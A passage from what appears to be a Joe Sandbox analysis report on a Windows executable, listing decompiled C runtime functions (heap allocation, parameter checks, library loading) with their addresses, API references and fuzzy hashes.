				if ( *((intOrPtr*)(__r9 + 0x28)) != r14b) goto 0xda8e54ac;
				E00007FF77FF7DA8E3970(_t80 | 0xffffffff, __r9, __r9, _t105, _t125);
				_t82 =  *((intOrPtr*)(__r9 + 0x18));
				if ( *((intOrPtr*)(_t82 + 0xc)) != 0xfde9) goto 0xda8e54df;
				_a8 = _t125;
				_v56 = __r9;
				_t97 =  &_a16;
				E00007FF77FF7DA8EF4CC(_t82, __r9, _t105, _t97, _t109,  &_a8);
				goto 0xda8e560c;
				if (_t105 == 0) goto 0xda8e55c1;
				if ( *((intOrPtr*)(_t82 + 0x138)) != 0) goto 0xda8e551a;
				if (_t109 == 0) goto 0xda8e5512;
				 *_t105 =  *(_t98 + _t97) & 0x000000ff;
				if ( *(_t98 + _t97) == r14b) goto 0xda8e5512;
				_t99 = _t98 + 1;
				_t106 = _t105 + 2;
				if (_t99 - _t109 < 0) goto 0xda8e54f9;
				goto 0xda8e560c;
				_v48 = __ebp;
				_v56 = _t106;
				r9d = _t56;
				E00007FF77FF7DA8EE740();
				if (_t99 != 0) goto 0xda8e5609;
				if (GetLastError() == 0x7a) goto 0xda8e555c;
				 *((char*)(_t89 + 0x30)) = 1;
				 *((intOrPtr*)(_t89 + 0x2c)) = 0x2a;
				 *_t106 = r14w;
				goto 0xda8e5512;
				r9d = __ebp;
				_t117 = _a16;
				if (__ebp == 0) goto 0xda8e5595;
				r9d = r9d - 1;
				if ( *_t117 == r14b) goto 0xda8e5595;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 0x18)))) + _t97 * 2)) - r14w >= 0) goto 0xda8e558d;
				if ( *((intOrPtr*)(_t117 + 1)) == r14b) goto 0xda8e554b;
				goto 0xda8e5569;
				r8d = r8d - r10d;
				_t86 =  *((intOrPtr*)(_t89 + 0x18));
				_v48 = __ebp;
				_v56 = _t106;
				r9d = r8d;
				E00007FF77FF7DA8EE740();
				if (_t86 != 0) goto 0xda8e560c;
				goto 0xda8e554b;
				if (_t86 != 0) goto 0xda8e55d8;
				if ( *((intOrPtr*)(_t97 + (_t99 | 0xffffffffffffffff) + 1)) != r14b) goto 0xda8e55ca;
				goto 0xda8e5512;
				_v48 = r14d;
				_v56 = _t125;
				r9d = _t56;
				E00007FF77FF7DA8EE740();
				if (_t86 != 0) goto 0xda8e5609;
				 *((char*)(_t89 + 0x30)) = 1;
				 *((intOrPtr*)(_t89 + 0x2c)) = 0x2a;
				goto 0xda8e5512;
				return _t86;
			}




















                                                                                                                              0x7ff7da8e5418
                                                                                                                              0x7ff7da8e541e
                                                                                                                              0x7ff7da8e5423
                                                                                                                              0x7ff7da8e5424
                                                                                                                              0x7ff7da8e5427
                                                                                                                              0x7ff7da8e542c
                                                                                                                              0x7ff7da8e5433
                                                                                                                              0x7ff7da8e543b
                                                                                                                              0x7ff7da8e543f
                                                                                                                              0x7ff7da8e5443
                                                                                                                              0x7ff7da8e5446
                                                                                                                              0x7ff7da8e5449
                                                                                                                              0x7ff7da8e544c
                                                                                                                              0x7ff7da8e544f
                                                                                                                              0x7ff7da8e5455
                                                                                                                              0x7ff7da8e545a
                                                                                                                              0x7ff7da8e545e
                                                                                                                              0x7ff7da8e5463
                                                                                                                              0x7ff7da8e546a
                                                                                                                              0x7ff7da8e546c
                                                                                                                              0x7ff7da8e5471
                                                                                                                              0x7ff7da8e5479
                                                                                                                              0x7ff7da8e547e
                                                                                                                              0x7ff7da8e5483
                                                                                                                              0x7ff7da8e5486
                                                                                                                              0x7ff7da8e548b
                                                                                                                              0x7ff7da8e5494
                                                                                                                              0x7ff7da8e549d
                                                                                                                              0x7ff7da8e54a2
                                                                                                                              0x7ff7da8e54ac
                                                                                                                              0x7ff7da8e54b9
                                                                                                                              0x7ff7da8e54bb
                                                                                                                              0x7ff7da8e54c0
                                                                                                                              0x7ff7da8e54cd
                                                                                                                              0x7ff7da8e54d5
                                                                                                                              0x7ff7da8e54da
                                                                                                                              0x7ff7da8e54e9
                                                                                                                              0x7ff7da8e54f2
                                                                                                                              0x7ff7da8e54f7
                                                                                                                              0x7ff7da8e54fd
                                                                                                                              0x7ff7da8e5504
                                                                                                                              0x7ff7da8e5506
                                                                                                                              0x7ff7da8e5509
                                                                                                                              0x7ff7da8e5510
                                                                                                                              0x7ff7da8e5515
                                                                                                                              0x7ff7da8e551a
                                                                                                                              0x7ff7da8e551e
                                                                                                                              0x7ff7da8e5527
                                                                                                                              0x7ff7da8e5530
                                                                                                                              0x7ff7da8e553a
                                                                                                                              0x7ff7da8e5549
                                                                                                                              0x7ff7da8e554b
                                                                                                                              0x7ff7da8e554f
                                                                                                                              0x7ff7da8e5556
                                                                                                                              0x7ff7da8e555a
                                                                                                                              0x7ff7da8e555c
                                                                                                                              0x7ff7da8e5564
                                                                                                                              0x7ff7da8e5569
                                                                                                                              0x7ff7da8e556b
                                                                                                                              0x7ff7da8e5571
                                                                                                                              0x7ff7da8e5583
                                                                                                                              0x7ff7da8e558b
                                                                                                                              0x7ff7da8e5593
                                                                                                                              0x7ff7da8e5595
                                                                                                                              0x7ff7da8e5598
                                                                                                                              0x7ff7da8e559c
                                                                                                                              0x7ff7da8e55a0
                                                                                                                              0x7ff7da8e55a5
                                                                                                                              0x7ff7da8e55b3
                                                                                                                              0x7ff7da8e55bd
                                                                                                                              0x7ff7da8e55bf
                                                                                                                              0x7ff7da8e55c8
                                                                                                                              0x7ff7da8e55d1
                                                                                                                              0x7ff7da8e55d3
                                                                                                                              0x7ff7da8e55d8
                                                                                                                              0x7ff7da8e55dd
                                                                                                                              0x7ff7da8e55e2
                                                                                                                              0x7ff7da8e55ed
                                                                                                                              0x7ff7da8e55f7
                                                                                                                              0x7ff7da8e55f9
                                                                                                                              0x7ff7da8e55fd
                                                                                                                              0x7ff7da8e5604
                                                                                                                              0x7ff7da8e561e

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
                                                                                                                              • Instruction ID: 2092866fc2fb777ddb374b4d7a065dd84a174c5c40cf09acda402532f73df2d6
                                                                                                                              • Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
                                                                                                                              • Instruction Fuzzy Hash: 62115421A1C681C1FA66BF51940027DE260BFA6B84FD44472EF4C57A87DFBFD6208760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F56AC Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8F56AC(intOrPtr* __rax, long long __rbx, long long _a8, intOrPtr _a40) {

				_a8 = __rbx;
				if (_a40 != 0) goto 0xda8f56e1;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0x16;
			}



                                                                                                                              0x7ff7da8f56ac
                                                                                                                              0x7ff7da8f56c1
                                                                                                                              0x7ff7da8f56c3
                                                                                                                              0x7ff7da8f56cd
                                                                                                                              0x7ff7da8f56cf
                                                                                                                              0x7ff7da8f56e0

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 8ab5c6977405cb0da174d71da5799961f335fed1fd48e027706f666140a89b5c
                                                                                                                              • Instruction ID: 07017cc4dafa9ea8bb6855d47cc89df70cf5ff4c8227bdb47b94158e15dbc1f2
                                                                                                                              • Opcode Fuzzy Hash: 8ab5c6977405cb0da174d71da5799961f335fed1fd48e027706f666140a89b5c
                                                                                                                              • Instruction Fuzzy Hash: B821D332A0CA4387EB26AF18D44076DB7A0FB94B54FD44236DA6D876DADF3DD4118B10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DF56C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8DF56C(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r14, void* _a8, void* _a16, void* _a24, void* _a32, intOrPtr _a40) {
				intOrPtr* _t19;
				intOrPtr* _t31;

				_t19 = _t31;
				 *((long long*)(_t19 + 8)) = __rbx;
				 *((long long*)(_t19 + 0x10)) = __rsi;
				 *((long long*)(_t19 + 0x18)) = __rdi;
				 *((long long*)(_t19 + 0x20)) = __r14;
				if (__r8 == 0) goto 0xda8df5c5;
				if (__r9 == 0) goto 0xda8df5c5;
				if (_a40 != 0) goto 0xda8df5e2;
				if (__rdx == 0xffffffff) goto 0xda8df5b5;
				E00007FF77FF7DA8DC170();
				E00007FF77FF7DA8E4394(_t19);
				 *_t19 = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0;
			}





                                                                                                                              0x7ff7da8df56c
                                                                                                                              0x7ff7da8df56f
                                                                                                                              0x7ff7da8df573
                                                                                                                              0x7ff7da8df577
                                                                                                                              0x7ff7da8df57b
                                                                                                                              0x7ff7da8df594
                                                                                                                              0x7ff7da8df599
                                                                                                                              0x7ff7da8df5a3
                                                                                                                              0x7ff7da8df5a9
                                                                                                                              0x7ff7da8df5b0
                                                                                                                              0x7ff7da8df5b5
                                                                                                                              0x7ff7da8df5ba
                                                                                                                              0x7ff7da8df5c0
                                                                                                                              0x7ff7da8df5e1

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 1748ab499dec2cd63d41733e33088bccb1bfcf71d5c0ce3e5d0110a60e1804e7
                                                                                                                              • Instruction ID: 24ae969e189b508d69917cac0ccadc7450e87b47fd9fc86ded991eb5adde6486
                                                                                                                              • Opcode Fuzzy Hash: 1748ab499dec2cd63d41733e33088bccb1bfcf71d5c0ce3e5d0110a60e1804e7
                                                                                                                              • Instruction Fuzzy Hash: 6D01C221A0874280FA06BF62990006DE7A1BB51FE0FCC46B2DE5D03BCBDE3DD5218710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E6A94 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8E6A94(void* __ecx, intOrPtr* __rax, long long __rbx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (__ecx - 0x2000 < 0) goto 0xda8e6adc;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 9;
				E00007FF77FF7DA8E9D00();
				return 9;
			}



                                                                                                                              0x7ff7da8e6a94
                                                                                                                              0x7ff7da8e6a99
                                                                                                                              0x7ff7da8e6a9e
                                                                                                                              0x7ff7da8e6ab1
                                                                                                                              0x7ff7da8e6ab3
                                                                                                                              0x7ff7da8e6abd
                                                                                                                              0x7ff7da8e6abf
                                                                                                                              0x7ff7da8e6adb

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 12e0e53eb4cc63a95771bdcd00f2c9527e1bc8f393490eaab8484543856046e8
                                                                                                                              • Instruction ID: c9fb58995f72a8cc0afb13b08d901c09a5809cbaba3d4bece707ed9d478f25b1
                                                                                                                              • Opcode Fuzzy Hash: 12e0e53eb4cc63a95771bdcd00f2c9527e1bc8f393490eaab8484543856046e8
                                                                                                                              • Instruction Fuzzy Hash: 97119032918642C6F302BB10E84052DE7A5FB94340FC504B6DA5E876A3DF3EEA318720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EDC90 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8EDC90(void* __eax, signed int __rcx, signed int __rdx) {
				void* __rbx;
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0xda8edcaf;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0xda8edcf2;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0xda8edcd6;
				if (E00007FF77FF7DA8E8A3C() == 0) goto 0xda8edcf2;
				if (E00007FF77FF7DA8F2600(_t22,  ==  ? _t22 : __rcx * __rdx,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0xda8edcf2;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0xda8edcc1;
				goto 0xda8edcff;
				E00007FF77FF7DA8E4394(_t22);
				 *_t22 = 0xc;
				return 0;
			}






                                                                                                                              0x7ff7da8edc90
                                                                                                                              0x7ff7da8edc9f
                                                                                                                              0x7ff7da8edca3
                                                                                                                              0x7ff7da8edca3
                                                                                                                              0x7ff7da8edcad
                                                                                                                              0x7ff7da8edcbb
                                                                                                                              0x7ff7da8edcbf
                                                                                                                              0x7ff7da8edcc8
                                                                                                                              0x7ff7da8edcd4
                                                                                                                              0x7ff7da8edce5
                                                                                                                              0x7ff7da8edcee
                                                                                                                              0x7ff7da8edcf0
                                                                                                                              0x7ff7da8edcf2
                                                                                                                              0x7ff7da8edcf7
                                                                                                                              0x7ff7da8edd04

                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7DA8EA806,?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E), ref: 00007FF7DA8EDCE5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: 0fa1f60e180c30099cd92909c4dd9370885fd91a8a3bc9aba6531de80905ccc9
                                                                                                                              • Instruction ID: f9cb75b86dfed081d1e5178051efa6ceb2dd92a86c613ca8f2524a4e5c97fcbb
                                                                                                                              • Opcode Fuzzy Hash: 0fa1f60e180c30099cd92909c4dd9370885fd91a8a3bc9aba6531de80905ccc9
                                                                                                                              • Instruction Fuzzy Hash: 62F04F62B0D24780FE56765659003BCD2807FA8B80FCC04B2CD1E863C3ED6DE6A88230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8ECA1C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8ECA1C(intOrPtr* __rax, void* __rcx) {
				void* __rbx;

				if (__rcx - 0xffffffe0 > 0) goto 0xda8eca67;
				_t16 =  ==  ? __rax : __rcx;
				goto 0xda8eca4e;
				if (E00007FF77FF7DA8E8A3C() == 0) goto 0xda8eca67;
				if (E00007FF77FF7DA8F2600(__rax,  ==  ? __rax : __rcx,  ==  ? __rax : __rcx) == 0) goto 0xda8eca67;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0xda8eca39;
				goto 0xda8eca74;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0xc;
				return 0;
			}




                                                                                                                              0x7ff7da8eca29
                                                                                                                              0x7ff7da8eca33
                                                                                                                              0x7ff7da8eca37
                                                                                                                              0x7ff7da8eca40
                                                                                                                              0x7ff7da8eca4c
                                                                                                                              0x7ff7da8eca5a
                                                                                                                              0x7ff7da8eca63
                                                                                                                              0x7ff7da8eca65
                                                                                                                              0x7ff7da8eca67
                                                                                                                              0x7ff7da8eca6c
                                                                                                                              0x7ff7da8eca79

                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(?,?,?,00007FF7DA8DFD94,?,?,?,00007FF7DA8E12A6,?,?,?,?,?,00007FF7DA8E2899), ref: 00007FF7DA8ECA5A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: a265fdf41e77f0447e092e6d79a5f46e27da0a7cb5c73acac927124eec024155
                                                                                                                              • Instruction ID: b41c0a37077bb6284fdc9a78119566284772b6a1d620986c26f86d0f709e1859
                                                                                                                              • Opcode Fuzzy Hash: a265fdf41e77f0447e092e6d79a5f46e27da0a7cb5c73acac927124eec024155
                                                                                                                              • Instruction Fuzzy Hash: 15F05E91F1D24784FA66B6A1580167CD1807F64BA0FC806B2DD3E852C3ED2DA6709270
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7120 Relevance: 1.5, APIs: 1, Instructions: 20libraryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 64%
                                                                                                                              			E00007FF77FF7DA8D7120(long long __rax, long long __rbx, void* __rcx, long long _a8) {
				void* _t18;
				void* _t20;
				void* _t24;

				_a8 = __rbx;
				_t18 = __rcx;
				r8d = 0;
				E00007FF77FF7DA8D79A0(__rax, __rbx, __rcx, __rcx, _t20, _t24);
				_t2 = _t18 + 8; // 0x8, executed
				r8d = _t2;
				LoadLibraryW(??); // executed
				return E00007FF77FF7DA8E3FEC(0, __rax, _t18, _t24);
			}






                                                                                                                              0x7ff7da8d7120
                                                                                                                              0x7ff7da8d712a
                                                                                                                              0x7ff7da8d712d
                                                                                                                              0x7ff7da8d7132
                                                                                                                              0x7ff7da8d713f
                                                                                                                              0x7ff7da8d713f
                                                                                                                              0x7ff7da8d7143
                                                                                                                              0x7ff7da8d7161

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00007FF7DA8D79A0: MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                              • LoadLibraryW.KERNEL32(?,?,00000000,00007FF7DA8D309E), ref: 00007FF7DA8D7143
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharLibraryLoadMultiWide
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2592636585-0
                                                                                                                              • Opcode ID: 5b5ca48e77b775842357c011fabe18dc3e59ccea64c2b757d377e3a93be10156
                                                                                                                              • Instruction ID: dc3b0c8360d962a8fd9354a05eb590aa92ef82cfb9f5738f0cb0594a101b6f94
                                                                                                                              • Opcode Fuzzy Hash: 5b5ca48e77b775842357c011fabe18dc3e59ccea64c2b757d377e3a93be10156
                                                                                                                              • Instruction Fuzzy Hash: 32E08612B1454246EE19A767A90546EE151AF88BD0BC89036EE4D07756DD2DD4A18A00
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Non-executed Functions

                                                                                                                              Function 00007FF7DA8D1B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
                                                                                                                              • String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
                                                                                                                              • API String ID: 2446303242-1601438679
                                                                                                                              • Opcode ID: 4520ec83f770e6a2a936c389ad8bea2580ac62345c30f60f61398c95f5315d36
                                                                                                                              • Instruction ID: a96727584f35de9f401e892ccd9f57b91ab936ec9510a9ea568401378a703689
                                                                                                                              • Opcode Fuzzy Hash: 4520ec83f770e6a2a936c389ad8bea2580ac62345c30f60f61398c95f5315d36
                                                                                                                              • Instruction Fuzzy Hash: 11A15836208B8286E7149F21E58479EF360F788B90F90452AEF8D03B25DF3DE169CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD863229 Relevance: 21.3, APIs: 14, Instructions: 251fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
